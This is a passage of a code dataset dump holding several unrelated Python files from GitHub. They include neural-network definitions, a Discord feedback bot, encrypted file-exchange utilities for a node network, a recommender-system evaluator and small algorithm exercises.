Block2: CONV => RELU => CONV => RELU => POOL layer set\n model.add(Conv2D(64, (3, 3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis=channelDimension))\n model.add(Conv2D(64, (3, 3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis=channelDimension))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(0.25))\n\n # Block3: CONV => RELU => CONV => RELU => POOL layer set\n model.add(Conv2D(64, (3, 3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis=channelDimension))\n model.add(Conv2D(64, (3, 3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis=channelDimension))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(hp.Float('dropout1', 0.3, 0.5, step=0.1, default=0.5)))\n\n # First set of FC => RELU layers\n model.add(Flatten())\n model.add(Dense(hp.Int(\"dense_units\", min_value=256, max_value=768, step=256)))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization())\n model.add(Dropout(hp.Float('dropout2', 0.3, 0.5, step=0.1, default=0.5)))\n\n # Softmax classifier\n model.add(Dense(7))\n model.add(Activation(\"softmax\"))\n\n # initialize the learning rate choices and optimizer\n lr = hp.Choice(\"learning_rate\",\n values=[1e-1, 1e-2, 1e-3])\n opt = Adam(learning_rate=lr)\n # compile the model\n model.compile(optimizer=opt, loss=\"categorical_crossentropy\", metrics=[\"accuracy\"])\n\n # Return the model\n return model\n","repo_name":"advait2000/Animal-Detection","sub_path":"HyperParameterTuning/Vggnet.py","file_name":"Vggnet.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20299495197","text":"observedObjects = set()\n\n\ndef ultimateTree(objectIn, depth=float('inf')):\n global observedObjects\n tree = {}\n\n if depth == 0:\n return None\n\n for element in dir(objectIn):\n if depth <= 0:\n return None\n\n if element in observedObjects:\n tree[element] = None\n\n else:\n observedObjects.add(element)\n tree[element] = ultimateTree(getattr(objectIn, element), depth-1)\n\n return tree\n\n","repo_name":"capalmer1013/Introspective-Python-Nightmare","sub_path":"ultimateTree.py","file_name":"ultimateTree.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32068898782","text":"import discord\nfrom discord.ext import commands\nfrom discord.commands import slash_command\nfrom discord.commands import Option\nimport json #nicht nötig, wenn channel nicht über json gespeichert sind\n\nwith open(\"Channel.json\") as channel:#nur, wenn channel in json gespeichert werden\n channel = json.load(channel)\n\nfeedback = channel[\"feedback\"] #hier kommt die channel-ID des channels hin, in den Feedback/Beschwerden/Vorschläge gesendet werdn sollen\nvoting = channel[\"vorschläge\"] #hier kommt die forums-ID hin, wo die Vorschläge gepostet werden sollen\n\n\nclass Feedback(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n \n#slash-command mit 3 verschiedenen Optionen, aus denen der User auswählt\n @slash_command(description=\"Gib Feedback, reiche einen Vorschlag/Beschwerde ein\")\n async def feedback(self, ctx, art:Option(str, choices=[\"Feedback\", \"Vorschlag\", \"Beschwerde\"])):\n\n#Unterscheidung nach Feedback, Vorschlag und Beschwerde\n if art == \"Feedback\":\n modal = FeedbackModal(title=\"Teile dein Feedback\")\n await ctx.send_modal(modal)\n\n if art == \"Vorschlag\":\n modal = VorschlagModal(title=\"Reiche einen Vorschlag ein\")\n await ctx.send_modal(modal)\n\n if art == \"Beschwerde\":\n modal = BeschwerdeModal(title=\"Reiche eine Beschwerde ein\")\n await ctx.send_modal(modal)\n\n\n#Modal für Feedback\nclass FeedbackModal(discord.ui.Modal):\n def __init__(self, *args, **kwargs):\n super().__init__(\n discord.ui.InputText(\n label=\"Titel deines Feedbacks\",\n placeholder=\"Schreibe etwas...\",\n max_length=50\n ),\n discord.ui.InputText(\n label=\"Feedback\",\n placeholder=\"Schreibe etwas...\",\n style=discord.InputTextStyle.long,\n max_length=1000\n ),\n *args,\n **kwargs\n )\n\n async def callback(self, interaction):\n embed = discord.Embed(\n title=\"Feedback\",\n description=self.children[0].value,\n color=discord.Color.from_rgb(56, 165, 125)\n )\n Autor = f\"Name: {interaction.user.name}, <@{interaction.user.id}>\"\n embed.add_field(name=\"Feedback von: \", value=Autor, inline=False)\n embed.add_field(name=\"Beschreibung:\", value=self.children[1].value, inline=False)\n\n channel = interaction.guild.get_channel(feedback)\n await interaction.response.send_message(\"Alles klar, wir haben dein Feedback erhalten\", ephemeral=True)\n await channel.send(embed=embed)\n\n\n#Modal für Vorschläge\nclass VorschlagModal(discord.ui.Modal):\n def __init__(self, *args, **kwargs):\n super().__init__(\n discord.ui.InputText(\n label=\"Titel deines Vorschlags\",\n placeholder=\"Schreibe etwas...\",\n max_length=50\n\n ),\n discord.ui.InputText(\n label=\"Beschreibung\",\n placeholder=\"Schreibe etwas...\",\n style=discord.InputTextStyle.long,\n max_length=1000\n ),\n *args,\n **kwargs\n )\n\n async def callback(self, interaction):\n embed = discord.Embed(\n title=\"Vorschlag\",\n description=self.children[0].value,\n color=discord.Color.from_rgb(255, 255, 153)\n )\n\n Autor = f\"Name: {interaction.user.name}, <@{interaction.user.id}>\"\n embed.add_field(name=\"Vorschlag von: \", value=Autor, inline=False)\n embed.add_field(name=\"Beschreibung:\", value=self.children[1].value, inline=False)\n\n vorschlag = interaction.guild.get_channel(voting)\n vote = await vorschlag.create_thread(\n name=self.children[0].value,\n content=self.children[1].value\n )\n await vote.starting_message.add_reaction(emoji='👍')\n await vote.starting_message.add_reaction(emoji='👎')\n\n channel = interaction.guild.get_channel(feedback)\n await channel.send(embed=embed)\n await interaction.response.send_message(\"Alles klar, wir haben deinen Vorschlag erhalten\", ephemeral=True)\n\n\n#Modal für Beschwerden \nclass BeschwerdeModal(discord.ui.Modal):\n def __init__(self, *args, **kwargs):\n super().__init__(\n discord.ui.InputText(\n label=\"Titel deiner Beschwerde\",\n placeholder=\"Worum geht es?\",\n max_length=50\n ),\n discord.ui.InputText(\n label=\"Beschreibung\",\n placeholder=\"Schreibe etwas...\",\n style=discord.InputTextStyle.long,\n max_length=800\n\n ),\n discord.ui.InputText(\n label=\"Wie geht es weiter?\",\n placeholder=\"Was wünscht du dir? Wie können wir das Problem gemeinsam lösen?\",\n style=discord.InputTextStyle.long,\n max_length=800\n ),\n *args,\n **kwargs\n )\n\n async def callback(self, interaction):\n embed = discord.Embed(\n title=\"Beschwerde\",\n description=self.children[0].value,\n color=discord.Color.from_rgb(204, 0, 0)\n )\n\n Autor = f\"Name: {interaction.user.name}, <@{interaction.user.id}>\"\n embed.add_field(name=\"Beschwerde von: \", value=Autor, inline=False)\n embed.add_field(name=\"Beschreibung:\", value=self.children[1].value, inline=False)\n embed.add_field(name=\"Wunsch, wie das Problem gelöst wird: \", value=self.children[2].value, inline=False)\n\n channel = interaction.guild.get_channel(feedback)\n await interaction.response.send_message(\"Alles klar, wir haben deine Beschwerde erhalten\", ephemeral=True)\n await channel.send(embed=embed)\n\n#Cog-Einbindung\ndef setup(bot):\n bot.add_cog(Feedback(bot))\n\n","repo_name":"Selinofant/bot-cogs","sub_path":"feedback.py","file_name":"feedback.py","file_ext":"py","file_size_in_byte":5921,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8853515517","text":"# !/usr/bin/python\n\n'''\nimport protocol_sendrecv as psr\nimport protocol_control as pctrl\nimport protocol_security as psec\nimport time\n'''\n\nimport shrek_protocols.protocol_sendrecv as psr\nimport shrek_protocols.protocol_control as pctrl\nimport shrek_protocols.protocol_security as psec\nimport time\n\n# Variables\n\nfile_hostconfig = 'hostconfig.json'\npubkey = 'pubkey.pem'\nprivkey = 'privkey.pem'\n\n# iniciar las configuraciones del nodo\n\ndef configuration(port):\n # Download configure host\n # pctrl.get_config_files() # Only if the node is connect to internet direct\n\n # Configure node\n pctrl.set_info_host('hostconfig.json', int(port))\n my_ip, my_port = pctrl.get_info_host('hostconfig.json', 'host')\n return my_ip\n\n# Certificados CA\ndef config_security_ca(ip):\n psec.create_certificate_CA('privkey.pem', 'ES', 'Madrid', 'UPM', ip, 'certificate.crt')\n psec.extract_pub_key('privkey.pem', 'pubkey.pem')\n\n\n# solicitud de certificados inicio de la ejecucion del nodo - Nodes + Ctrl\ndef create_request_cert(ip):\n file_priv_key = 'privkey.pem'\n file_pub_key = 'pubkey.pem'\n file_req_cert = 'request.csr'\n psec.generate_priv_key(file_priv_key)\n psec.extract_pub_key(file_priv_key, file_pub_key)\n psec.request_certificate(file_priv_key, 'ES', 'Madrid', 'UPM', ip, file_req_cert)\n\n\n# Signed request certified to CA - Nodes + Ctrl\n\ndef req_cert_ca(my_ip, my_port, pub_key_target):\n request = 'sign cert'\n file_cert_req = 'request.csr'\n file_cert_signed = 'certificate.crt'\n ca_ip, ca_port = pctrl.get_info_host(file_hostconfig, 'ca')\n send_encrypt_file(file_cert_req, pub_key_target, ca_ip, ca_port, my_ip, my_port, request)\n pubkey_str = pctrl.files(pubkey,'read')\n time.sleep(1)\n ack = psr.send(pubkey_str, ca_ip, ca_port)\n cert = psr.recive(my_ip,my_port)\n pctrl.files(file_cert_signed,'write', cert)\n\n# Exchange pubkey - All Nodes\ndef req_exchange_pubkey(my_ip, my_port, opc, ip_target=' ', port_target=' '):\n msg = 'req pubkey'\n if not opc == 'node':\n ip_target, port_target = pctrl.get_info_host('hostconfig.json', opc)\n print(str((my_ip, my_port, msg)))\n confirm_msg = psr.send(str((my_ip, my_port, msg)), str(ip_target), int(port_target))\n if str(confirm_msg) == 'ACK!':\n pubkeynode = str(psr.recive(str(my_ip), int(my_port)))\n if pubkeynode:\n file = open('pubkey' + opc + '.pem', 'w')\n file.write(str(pubkeynode))\n file.close()\n\n\n# Send encrypt files - All nodes\n\ndef send_encrypt_file(file_msg, node_pub_key, ip_send, port_send, my_ip, my_port, request=''):\n temp_key_aes = 'tempkeyaes.pem'\n temp_key_aes_enc = 'tempkeyaes.enc'\n temp_file_data = 'ntempfiledata.txt'\n temp_file_data_enc = 'tempfiledata.enc'\n\n if not request == '':\n ack = psr.send(str((my_ip, my_port, request)), str(ip_send), int(port_send))\n print(request, ack)\n\n psec.generate_priv_key_AES(temp_key_aes)\n\n try:\n open(file_msg, 'rb')\n print('copy----')\n pctrl.execution('cp ' + file_msg + ' ' + temp_file_data)\n except:\n print('create----')\n file = open(temp_file_data, 'w')\n file.write(file_msg)\n file.close()\n\n psec.encrypt_rsa(node_pub_key, temp_key_aes, temp_key_aes_enc)\n\n psec.encrypt_aes(temp_key_aes, temp_file_data, temp_file_data_enc)\n\n file = open(temp_key_aes_enc, 'rb')\n file_key = file.read()\n file.close()\n file = open(temp_file_data_enc, 'rb')\n file_data = file.read()\n file.close()\n\n time.sleep(1)\n ack = psr.send(str(file_key), str(ip_send), int(port_send))\n\n time.sleep(1)\n ack = psr.send(str(file_data), str(ip_send), int(port_send))\n\n print(ack)\n\n\n# Recive encrypt files - All Nodes\n\ndef recive_encrypt_file(my_ip, my_port, outputfile=''):\n temp_key_aes = 'tempkeyaes.pem'\n temp_key_aes_enc = 'tempkeyaes.enc'\n temp_file_data_dec = 'tempfiledata.dec'\n temp_file_data_enc = 'tempfiledata.enc'\n\n print('[+] Wait key ...')\n message_key = psr.recive(my_ip, my_port)\n print('[+] Wait data ...')\n message_data = psr.recive(my_ip, my_port)\n print(message_key)\n print(message_data)\n\n file = open(temp_key_aes_enc, 'w')\n file.write(message_key)\n file.close()\n print(' (*) desencriptar privkeyaes')\n psec.decrypt_rsa(privkey, temp_key_aes_enc, temp_key_aes)\n\n file = open(temp_file_data_enc, 'w')\n file.write(message_data)\n file.close()\n print(' (*) desencriptar file')\n\n if outputfile == '':\n outputfile = temp_file_data_dec\n\n psec.decrypt_aes(temp_key_aes, temp_file_data_enc, outputfile)\n\n file = open(outputfile, 'rb')\n file_data = file.read()\n file.close()\n print(file_data)\n\n return file_data\n\n# Adding new host - Node Ctrl\n\ndef new_host(new_ip, new_port, new_pubkey):\n pctrl.add_host_to_network('networkhosts.json', new_ip, new_port, new_pubkey)\n","repo_name":"Sergiogonzalezpi/shrek-tor","sub_path":"shrek_utilities/utility_node.py","file_name":"utility_node.py","file_ext":"py","file_size_in_byte":4903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24302629365","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Mar 23 10:45:29 2019\n\n@author: Ljx\n\"\"\"\n\n\nfrom .BasicModule import BasicModule\n\nimport torch as t\nimport torch.nn as nn\n\n\nclass CNN(BasicModule):\n def __init__(self, opt): \n super(CNN, self).__init__()\n self.module_name = 'CNN'\n self.opt = opt\n \n self.input_size = opt.input_size\n self.output_size = opt.output_size\n \n \n self.cnn1 = nn.Conv2d(1, 4, [5,1], 1)\n self.cnn2 = nn.Conv2d(4, 8, [13,1], 1)\n self.cnn3 = nn.Conv2d(8, 32, [17, 4], 1)\n self.cnn4 = nn.Conv2d(1, 1, [3,3], 1)\n self.linear = nn.Linear(900, 16)\n \n \n def forward(self, input_data):\n batch = input_data.shape[1]\n x = input_data.reshape(batch, 1, self.opt.T, self.input_size)\n x = self.cnn3(self.cnn2(self.cnn1(x)))\n x = x.reshape(batch, 1, 32, 32)\n x = self.cnn4(x).reshape(batch, -1)\n out = self.linear(x).reshape(4, batch, 4)\n return out\n \n \n \nif __name__ == '__main__':\n cnn = CNN()\n print(cnn.module_name)","repo_name":"wechto/cxl","sub_path":"models/CNN.py","file_name":"CNN.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"7545311937","text":"# Definition for singly-linked list.\r\nclass ListNode(object):\r\n def __init__(self, val=0, next=None):\r\n self.val = val\r\n self.next = next\r\n\r\nclass Solution(object):\r\n def mergeTwoLists(self, l1, l2):\r\n \"\"\"\r\n :type l1: ListNode\r\n :type l2: ListNode\r\n :rtype: ListNode\r\n \"\"\"\r\n dummy = ListNode()\r\n new_list = dummy\r\n while l1 is not None and l2 is not None:\r\n if l1.val < l2.val:\r\n new_list.next = l1\r\n l1 =l1.next\r\n else:\r\n new_list.next = l2\r\n l2=l2.next\r\n new_list = new_list.next\r\n\r\n if l1:\r\n new_list.next = l1\r\n\r\n else:\r\n new_list.next = l2\r\n return dummy.next\r\n\r\n\r\nl1 = ListNode(1,ListNode(2,ListNode(3,None)))\r\nl2 = ListNode(1,ListNode(3,ListNode(4,None)))\r\nprint(Solution().mergeTwoLists(l1,l2).next.val)","repo_name":"shwetatanwar13/python","sub_path":"sort merge linked list.py","file_name":"sort merge linked list.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72580409834","text":"# function for checking anagram\ndef check_anagram(string1, string2):\n string1_letter = []\n for character in string1:\n char_ascii = ord(character)\n if((char_ascii > 65 and char_ascii < 91) or (char_ascii > 97 and char_ascii < 123)):\n string1_letter.append(character.lower())\n\n flag = 1\n for item in string1_letter:\n if item not in string2.lower():\n flag = 0\n break\n\n if flag == 1:\n print(\"Anagram\\n\")\n else:\n print(\"Not anagram\\n\")\n\n\n# Main\ninput_string1 = input(\"Enter the first string : \")\ninput_string2 = input(\"Enter the second string : \")\ncheck_anagram(input_string1, input_string2)\n","repo_name":"pieSecur1ty/Python-Exercises","sub_path":"20-Anagram-Or-Not.py","file_name":"20-Anagram-Or-Not.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18976665995","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Given an array of integers, return a new array such that each element at\n# index i of the new array is the product of all the numbers in the original\n# array except the one at i.\n\nfrom __future__ import print_function\n\nfrom operator import mul\n\nTEST = [\n ([3, 2, 1], [2, 3, 6]),\n ([1, 2, 3, 4, 5], [120, 60, 40, 30, 24]),\n ([234, 829, 447], [370563, 104598, 193986]),\n]\n\n\ndef ex02(l):\n ret = []\n for i, _ in enumerate(l):\n t = list(l)\n t.pop(i)\n ret.append(reduce(mul, t, 1))\n return ret\n\n\ndef test_ex02(t):\n ret = []\n for a, b in t:\n if ex02(a) == b:\n ret.append(\"OK\")\n else:\n ret.append(\"failed\")\n return ret\n\n\nif __name__ == \"__main__\":\n print(\"Tests:\", test_ex02(TEST))\n","repo_name":"tstarck/coding-problems","sub_path":"2018-09-29.py","file_name":"2018-09-29.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28738003590","text":"import warnings\nfrom collections import OrderedDict\nfrom enum import Enum, auto\nfrom typing import TYPE_CHECKING, Dict, List, Optional, Union\n\nimport numpy as np\nfrom scipy import sparse as sps\n\nfrom .._threading import get_n_threads\nfrom ..definitions import DenseScoreArray, InteractionMatrix\nfrom ._core import EvaluatorCore, Metrics\n\nif TYPE_CHECKING:\n from ..recommenders.base import BaseRecommender\n\n\nclass TargetMetric(Enum):\n ndcg = auto()\n recall = auto()\n hit = auto()\n map = auto()\n precision = auto()\n\n\nMETRIC_NAMES = [\n \"hit\",\n \"recall\",\n \"ndcg\",\n \"map\",\n \"precision\",\n \"gini_index\",\n \"entropy\",\n \"appeared_item\",\n]\n\n\nclass Evaluator:\n r\"\"\"Evaluates recommenders' performance against validation set.\n\n Args:\n ground_truth (Union[scipy.sparse.csr_matrix, scipy.sparse.csc_matrix]):\n The ground-truth.\n offset (int):\n Where the validation target user block begins.\n Often the validation set is defined for a subset of users.\n When offset is not 0, we assume that the users with validation\n ground truth corresponds to X_train[offset:] where X_train\n is the matrix feeded into the recommender class. Defaults to 0.\n cutoff (int, optional):\n Controls the default number of recommendation.\n When the evaluator is used for parameter tuning, this cutoff value will be used.\n Defaults to 10.\n target_metric (str, optional):\n Specifies the target metric when this evaluator is used for\n parameter tuning. Defaults to \"ndcg\".\n recommendable_items (Optional[List[int]], optional):\n Global recommendable items. Defaults to None.\n If this parameter is not None, evaluator will be concentrating on\n the recommender's score output for these recommendable_items,\n and compute the ranking performance within this subset.\n per_user_recommendable_items:\n Similar to `recommendable_items`, but this time the recommendable items can vary among users.\n If a sparse matrix is given, its nonzero indices are regarded as the list of recommendable items.\n Defaults to `None`.\n masked_interactions:\n If set, this matrix masks the score output of recommender model where it is non-zero.\n If none, the mask will be the training matrix itself owned by the recommender.\n\n n_threads:\n Specifies the Number of threads to sort scores and compute the evaluation metrics.\n If `None`, the environment variable ``\"IRSPACK_NUM_THREADS_DEFAULT\"` will be looked up,\n and if the variable is not set, it will be set to ``os.cpu_count()``. Defaults to `None`.\n\n recall_with_cutoff (bool, optional):\n This affects the definition of recall.\n If ``True``, for each user, recall will be computed as\n\n .. math ::\n\n \\frac{N_{\\text{hit}}}{\\min(\\text{cutoff}, N_{\\text{ground truth}})}\n\n If ``False``, this will be\n\n .. math ::\n\n \\frac{N_{\\text{hit}}}{N_{\\text{ground truth}}}\n\n\n mb_size (int, optional):\n The rows of chunked user score. Defaults to 1024.\n \"\"\"\n\n n_users: int\n n_items: int\n masked_interactions: Optional[sps.csr_matrix]\n\n def __init__(\n self,\n ground_truth: InteractionMatrix,\n offset: int = 0,\n cutoff: int = 10,\n target_metric: str = \"ndcg\",\n recommendable_items: Optional[List[int]] = None,\n per_user_recommendable_items: Union[\n None, List[List[int]], InteractionMatrix\n ] = None,\n masked_interactions: Optional[InteractionMatrix] = None,\n n_threads: Optional[int] = None,\n recall_with_cutoff: bool = False,\n mb_size: int = 128,\n ) -> None:\n\n ground_truth = ground_truth.tocsr().astype(np.float64)\n ground_truth.sort_indices()\n if recommendable_items is None:\n if per_user_recommendable_items is None:\n recommendable_items_arg: List[List[int]] = []\n else:\n if sps.issparse(per_user_recommendable_items):\n per_user_as_csr = sps.csr_matrix(per_user_recommendable_items)\n recommendable_items_arg = [\n [int(j) for j in row.nonzero()[1]] for row in per_user_as_csr\n ]\n else:\n recommendable_items_arg = per_user_recommendable_items\n if len(recommendable_items_arg) != ground_truth.shape[0]:\n raise ValueError(\n \"ground_truth and per_user_recommendable_items have inconsistent shapes.\"\n )\n else:\n recommendable_items_arg = [recommendable_items]\n\n self.core = EvaluatorCore(ground_truth, recommendable_items_arg)\n self.offset = offset\n self.n_users = ground_truth.shape[0]\n self.n_items = ground_truth.shape[1]\n self.target_metric = TargetMetric[target_metric]\n self.cutoff = cutoff\n self.target_metric_name = f\"{self.target_metric.name}@{self.cutoff}\"\n self.n_threads = get_n_threads(n_threads)\n self.mb_size = mb_size\n if masked_interactions is None:\n self.masked_interactions = None\n else:\n if masked_interactions.shape != ground_truth.shape:\n raise ValueError(\n \"ground_truth and masked_interactions have different shapes. \"\n )\n self.masked_interactions = sps.csr_matrix(masked_interactions)\n\n self.recall_with_cutoff = recall_with_cutoff\n\n def _get_metrics(\n self, scores: DenseScoreArray, cutoff: int, ground_truth_begin: int\n ) -> Metrics:\n if scores.dtype == np.float64:\n return self.core.get_metrics_f64(\n scores,\n cutoff,\n ground_truth_begin,\n self.n_threads,\n self.recall_with_cutoff,\n )\n elif scores.dtype == np.float32:\n return self.core.get_metrics_f32(\n scores,\n cutoff,\n ground_truth_begin,\n self.n_threads,\n self.recall_with_cutoff,\n )\n else:\n raise ValueError(\"score must be either float32 or float64.\")\n\n def get_target_score(self, model: \"BaseRecommender\") -> float:\n r\"\"\"Compute the optimization target score (self.target_metric) with the cutoff being ``self.cutoff``.\n\n Args:\n model: The evaluated model.\n\n Returns:\n The metric value.\n \"\"\"\n return self.get_score(model)[self.target_metric.name]\n\n def get_score(self, model: \"BaseRecommender\") -> Dict[str, float]:\n r\"\"\"Compute the score with the cutoff being ``self.cutoff``.\n\n Args:\n model : The evaluated recommender.\n\n Returns:\n metric values.\n \"\"\"\n return self._get_scores_as_list(model, [self.cutoff])[0]\n\n def get_scores(\n self, model: \"BaseRecommender\", cutoffs: List[int]\n ) -> Dict[str, float]:\n r\"\"\"Compute the score with the specified cutoffs.\n\n Args:\n model : The evaluated recommender.\n cutoffs : for each value in cutoff, the class computes\n the metric values.\n\n Returns:\n The Resulting metric values. This time, the result\n will look like ``{\"ndcg@20\": 0.35, \"map@20\": 0.2, ...}``.\n \"\"\"\n\n result: Dict[str, float] = OrderedDict()\n scores = self._get_scores_as_list(model, cutoffs)\n for cutoff, score in zip(cutoffs, scores):\n for metric_name in METRIC_NAMES:\n result[f\"{metric_name}@{cutoff}\"] = score[metric_name]\n return result\n\n def _get_scores_as_list(\n self, model: \"BaseRecommender\", cutoffs: List[int]\n ) -> List[Dict[str, float]]:\n if self.offset + self.n_users > model.n_users:\n raise ValueError(\"evaluator offset + n_users exceeds the model's n_users.\")\n if self.n_items != model.n_items:\n raise ValueError(\"The model and evaluator assume different n_items.\")\n n_items = self.n_items\n metrics: List[Metrics] = []\n for c in cutoffs:\n metrics.append(Metrics(n_items))\n\n block_start = self.offset\n n_validated = self.n_users\n block_end = block_start + n_validated\n mb_size = self.mb_size\n\n for chunk_start in range(block_start, block_end, mb_size):\n chunk_end = min(chunk_start + mb_size, block_end)\n try:\n # try faster method\n scores = model.get_score_block(chunk_start, chunk_end)\n except NotImplementedError:\n # block-by-block\n scores = model.get_score(np.arange(chunk_start, chunk_end))\n\n if self.masked_interactions is None:\n mask = model.X_train_all[chunk_start:chunk_end]\n else:\n mask = self.masked_interactions[\n chunk_start - self.offset : chunk_end - self.offset\n ]\n scores[mask.nonzero()] = -np.inf\n for i, c in enumerate(cutoffs):\n chunked_metric = self._get_metrics(\n scores,\n c,\n chunk_start - self.offset,\n )\n metrics[i].merge(chunked_metric)\n\n return [item.as_dict() for item in metrics]\n\n\nclass EvaluatorWithColdUser(Evaluator):\n r\"\"\"Evaluates recommenders' performance against cold (unseen) users.\n\n Args:\n input_interaction (Union[scipy.sparse.csr_matrix, scipy.sparse.csc_matrix]):\n The cold-users' known interaction with the items.\n ground_truth (Union[scipy.sparse.csr_matrix, scipy.sparse.csc_matrix]):\n The held-out ground-truth.\n offset (int): Where the validation target user block begins.\n Often the validation set is defined for a subset of users.\n When offset is not 0, we assume that the users with validation\n ground truth corresponds to X_train[offset:] where X_train\n is the matrix feeded into the recommender class.\n cutoff (int, optional):\n Controls the number of recommendation.\n Defaults to 10.\n target_metric (str, optional):\n Optimization target metric.\n Defaults to \"ndcg\".\n recommendable_items (Optional[List[int]], optional):\n Global recommendable items. Defaults to None.\n If this parameter is not None, evaluator will be concentrating on\n the recommender's score output for these recommendable_items,\n and compute the ranking performance within this subset.\n per_user_recommendable_items (Optional[List[List[int]]], optional):\n Similar to `recommendable_items`, but this time the recommendable items can vary among users. Defaults to None.\n masked_interactions (Optional[Union[scipy.sparse.csr_matrix, scipy.sparse.csc_matrix]], optional):\n If set, this matrix masks the score output of recommender model where it is non-zero.\n If none, the mask will be the training matrix (``input_interaction``) it self.\n n_threads (int, optional):\n Specifies the Number of threads to sort scores and compute the evaluation metrics.\n If ``None``, the environment variable ``\"IRSPACK_NUM_THREADS_DEFAULT\"`` will be looked up,\n and if the variable is not set, it will be set to ``os.cpu_count()``. Defaults to None.\n recall_with_cutoff (bool, optional):\n This affects the definition of recall.\n If ``True``, for each user, recall will be evaluated by\n\n .. math ::\n\n \\frac{N_{\\text{hit}}}{\\min( \\text{cutoff}, N_{\\text{ground truth}} )}\n\n If ``False``, this will be\n\n .. math ::\n\n \\frac{N_{\\text{hit}}}{N_{\\text{ground truth}}}\n\n mb_size (int, optional):\n The rows of chunked user score. Defaults to 1024.\n \"\"\"\n\n def __init__(\n self,\n input_interaction: InteractionMatrix,\n ground_truth: InteractionMatrix,\n cutoff: int = 10,\n target_metric: str = \"ndcg\",\n recommendable_items: Optional[List[int]] = None,\n per_user_recommendable_items: Union[\n None, List[List[int]], InteractionMatrix\n ] = None,\n masked_interactions: Optional[InteractionMatrix] = None,\n n_threads: Optional[int] = None,\n recall_with_cutoff: bool = False,\n mb_size: int = 1024,\n ):\n\n super().__init__(\n ground_truth,\n offset=0,\n cutoff=cutoff,\n target_metric=target_metric,\n recommendable_items=recommendable_items,\n per_user_recommendable_items=per_user_recommendable_items,\n masked_interactions=masked_interactions,\n n_threads=n_threads,\n recall_with_cutoff=recall_with_cutoff,\n mb_size=mb_size,\n )\n self.input_interaction = input_interaction\n\n def _get_scores_as_list(\n self,\n model: \"BaseRecommender\",\n cutoffs: List[int],\n ) -> List[Dict[str, float]]:\n\n n_items = model.n_items\n metrics: List[Metrics] = []\n for c in cutoffs:\n metrics.append(Metrics(n_items))\n\n block_start = self.offset\n n_validated = self.n_users\n block_end = block_start + n_validated\n mb_size = self.mb_size\n\n for chunk_start in range(block_start, block_end, mb_size):\n chunk_end = min(chunk_start + mb_size, block_end)\n scores = model.get_score_cold_user(\n self.input_interaction[chunk_start:chunk_end]\n )\n if self.masked_interactions is None:\n mask = self.input_interaction[chunk_start:chunk_end]\n else:\n mask = self.masked_interactions[chunk_start:chunk_end]\n scores[mask.nonzero()] = -np.inf\n\n if not scores.flags.c_contiguous:\n warnings.warn(\n \"Found col-major(fortran-style) score values.\\n\"\n \"Transforming it to row-major score matrix.\"\n )\n scores = np.ascontiguousarray(scores, dtype=np.float64)\n\n for i, c in enumerate(cutoffs):\n chunked_metric = self._get_metrics(scores, c, chunk_start)\n metrics[i].merge(chunked_metric)\n\n return [item.as_dict() for item in metrics]\n","repo_name":"tohtsky/irspack","sub_path":"src/irspack/evaluation/evaluator.py","file_name":"evaluator.py","file_ext":"py","file_size_in_byte":14764,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"72"} +{"seq_id":"8810136484","text":"##########################################\n##########################################\n# 3/17 복습\n'''\narray에따라 연결된 애들을 union_find하고 data있는애들이 같은 parent인지보자?\n'''\ndef union_parent(parent, a, b):\n a = find_parent(parent, a)\n b = find_parent(parent, b)\n if a > b:\n parent[a] = b\n else:\n parent[b] = a\n\ndef find_parent(parent, x):\n if parent[x] != x: # 대표값이 아니라면 대표값으로 바꿔줌\n parent[x] = find_parent(parent, parent[x])\n return parent[x]\n\nn, m = map(int, input().split())\narray = [list(map(int, input().split())) for _ in range(n)]\ndata = list(map(int, input().split()))\n\n# 대표값 선언 및 초가화\nparent = [0] * (n+1)\nfor i in range(1, n+1):\n parent[i] = i\n\n# 연결되어있나 확인하자\nfor i in range(n):\n for j in range(i, n):\n if array[i][j] == 1: # 연결이 되어있다면 i,j 연결\n union_parent(parent, i+1, j+1)\n\npre = data[0]\nflag = True\nfor i in range(1, len(data)):\n if parent[pre] == parent[data[i]]:\n pre = data[i]\n else:\n flag = False\n break\nprint(parent) \nif not flag: # 안이어졌다면\n print(\"NO\")\nelse:\n print(\"YES\")\n\n# '''\n# 전체 도시에 대해 union find해서 \n# 여행 도시들이 모두 같은 집합인지 체크하면된다.\n# '''\n# ########################################\n# ########################################\n# # 좀더 깔끔한 코드\n# def find_parent(parent, x):\n# if parent[x] != x:\n# parent[x] = find_parent(parent, parent[x])\n# return parent[x]\n\n# def union_parent(parent, a, b):\n# a = find_parent(parent, a)\n# b = find_parent(parent, b)\n# if a < b:\n# parent[b] = a\n# else:\n# parent[a] = b\n\n# n, m = map(int, input().split())\n# parent = [0] * (n+1)\n\n# # 부모 초기화\n# for i in range(1, n+1):\n# parent[i] = i\n\n# # 도로상황 입력받기\n# for i in range(n):\n# chart = list(map(int, input().split()))\n# for j in range(n):\n# if chart[j] 